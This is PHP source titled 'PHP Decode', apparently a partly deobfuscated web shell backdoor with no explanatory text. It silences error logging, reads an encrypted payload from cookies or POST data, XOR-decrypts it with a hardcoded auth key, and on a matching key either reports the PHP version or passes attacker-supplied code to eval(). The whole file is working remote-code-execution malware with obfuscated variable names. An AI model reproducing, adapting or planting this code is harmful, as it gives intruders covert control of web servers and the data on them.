PHP Decode

<?php 
${"GLOBALS"}["xwyursgk"] = "value"; 
${"GLOBALS"}["derkstv"] = "out_data"; 
${"GLOBALS"}["jlyxyjddexo"] = "key"; 
${"GLOBALS"}["dpdkmcgvv"] = "j"; 
${"GLOBALS"}["mwbyzybuj"] = "i"; 
${"GLOBALS"}["sjzfiseitu"] = "data_key"; 
${"GLOBALS"}["medidmpnos"] = "data"; 
@ini_set("error_log", NULL); 
$qtbsgvf = "data"; 
@ini_set("log_errors", 0); 
@ini_set("max_execution_time", 0); 
@set_time_limit(0); 
$mtbxmnj = "data_key"; 
if (!defined("PHP_EOL")) { 
    define("PHP_EOL", "
"); 
} 
if (!defined("DIRECTORY_SEPARATOR")) { 
    define("DIRECTORY_SEPARATOR", "/"); 
} 
${${"GLOBALS"}["medidmpnos"]} = NULL; 
${${"GLOBALS"}["sjzfiseitu"]} = NULL; 
$GLOBALS["auth"] = "4ef63abe-1abd-45a6-913d-6fb99657e24b"; 
global $auth; 
$tyjmuxkjcc = "auth"; 
function sh_decrypt_phase($data, $key) 
{ 
    ${"GLOBALS"}["iinfvngci"] = "out_data"; 
    ${"GLOBALS"}["wjspmln"] = "out_data"; 
    ${${"GLOBALS"}["wjspmln"]} = ""; 
    ${"GLOBALS"}["akxmulfjdpxt"] = "i"; 
    for (${${"GLOBALS"}["akxmulfjdpxt"]} = 0; ${${"GLOBALS"}["mwbyzybuj"]} < strlen(${${"GLOBALS"}["medidmpnos"]});) { 
        $udkucaxadhsu = "j"; 
        for (${$udkucaxadhsu} = 0; ${${"GLOBALS"}["dpdkmcgvv"]} < strlen(${${"GLOBALS"}["jlyxyjddexo"]}) && ${${"GLOBALS"}["mwbyzybuj"]} < strlen(${${"GLOBALS"}["medidmpnos"]}); ${${"GLOBALS"}["dpdkmcgvv"]}++, ${${"GLOBALS"}["mwbyzybuj"]}++) { 
            $xnanwxk = "j"; 
            ${"GLOBALS"}["orcfdqjbccnq"] = "i"; 
            ${${"GLOBALS"}["derkstv"]} .= chr(ord(${${"GLOBALS"}["medidmpnos"]}[${${"GLOBALS"}["orcfdqjbccnq"]}]) ^ ord(${${"GLOBALS"}["jlyxyjddexo"]}[${$xnanwxk}])); 
        } 
    } 
    return ${${"GLOBALS"}["iinfvngci"]}; 
} 
function sh_decrypt($data, $key) 
{ 
    ${"GLOBALS"}["xumdoqv"] = "auth"; 
    $xysysumkpu = "data"; 
    global $auth; 
    return sh_decrypt_phase(sh_decrypt_phase(${$xysysumkpu}, ${${"GLOBALS"}["xumdoqv"]}), ${${"GLOBALS"}["jlyxyjddexo"]}); 
} 
foreach ($_COOKIE as ${${"GLOBALS"}["jlyxyjddexo"]} => ${${"GLOBALS"}["xwyursgk"]}) { 
    ${"GLOBALS"}["haqcmugem"] = "data_key"; 
    $uqweheyxxqi = "value"; 
    ${${"GLOBALS"}["medidmpnos"]} = ${$uqweheyxxqi}; 
    ${${"GLOBALS"}["haqcmugem"]} = ${${"GLOBALS"}["jlyxyjddexo"]}; 
} 
if (!${${"GLOBALS"}["medidmpnos"]}) { 
    ${"GLOBALS"}["ybftyhoztv"] = "value"; 
    foreach ($_POST as ${${"GLOBALS"}["jlyxyjddexo"]} => ${${"GLOBALS"}["ybftyhoztv"]}) { 
        ${${"GLOBALS"}["medidmpnos"]} = ${${"GLOBALS"}["xwyursgk"]}; 
        ${${"GLOBALS"}["sjzfiseitu"]} = ${${"GLOBALS"}["jlyxyjddexo"]}; 
    } 
} 
${"GLOBALS"}["bebchzf"] = "data"; 
${${"GLOBALS"}["medidmpnos"]} = @unserialize(sh_decrypt(@base64_decode(${${"GLOBALS"}["bebchzf"]}), ${$mtbxmnj})); 
if (isset(${${"GLOBALS"}["medidmpnos"]}["ak"]) && ${$tyjmuxkjcc} == ${$qtbsgvf}["ak"]) { 
    ${"GLOBALS"}["fpqlgoyn"] = "data"; 
    ${"GLOBALS"}["bqkrelvm"] = "data"; 
    if (${${"GLOBALS"}["bqkrelvm"]}["a"] == "i") { 
        ${${"GLOBALS"}["mwbyzybuj"]} = array("pv" => @phpversion(), "sv" => "1.0-1"); 
        echo @serialize(${${"GLOBALS"}["mwbyzybuj"]}); 
    } elseif (${${"GLOBALS"}["fpqlgoyn"]}["a"] == "e") { 
        $sygysdobfhgr = "data"; 
        eval(${$sygysdobfhgr}["d"]); 
    } 
} ?>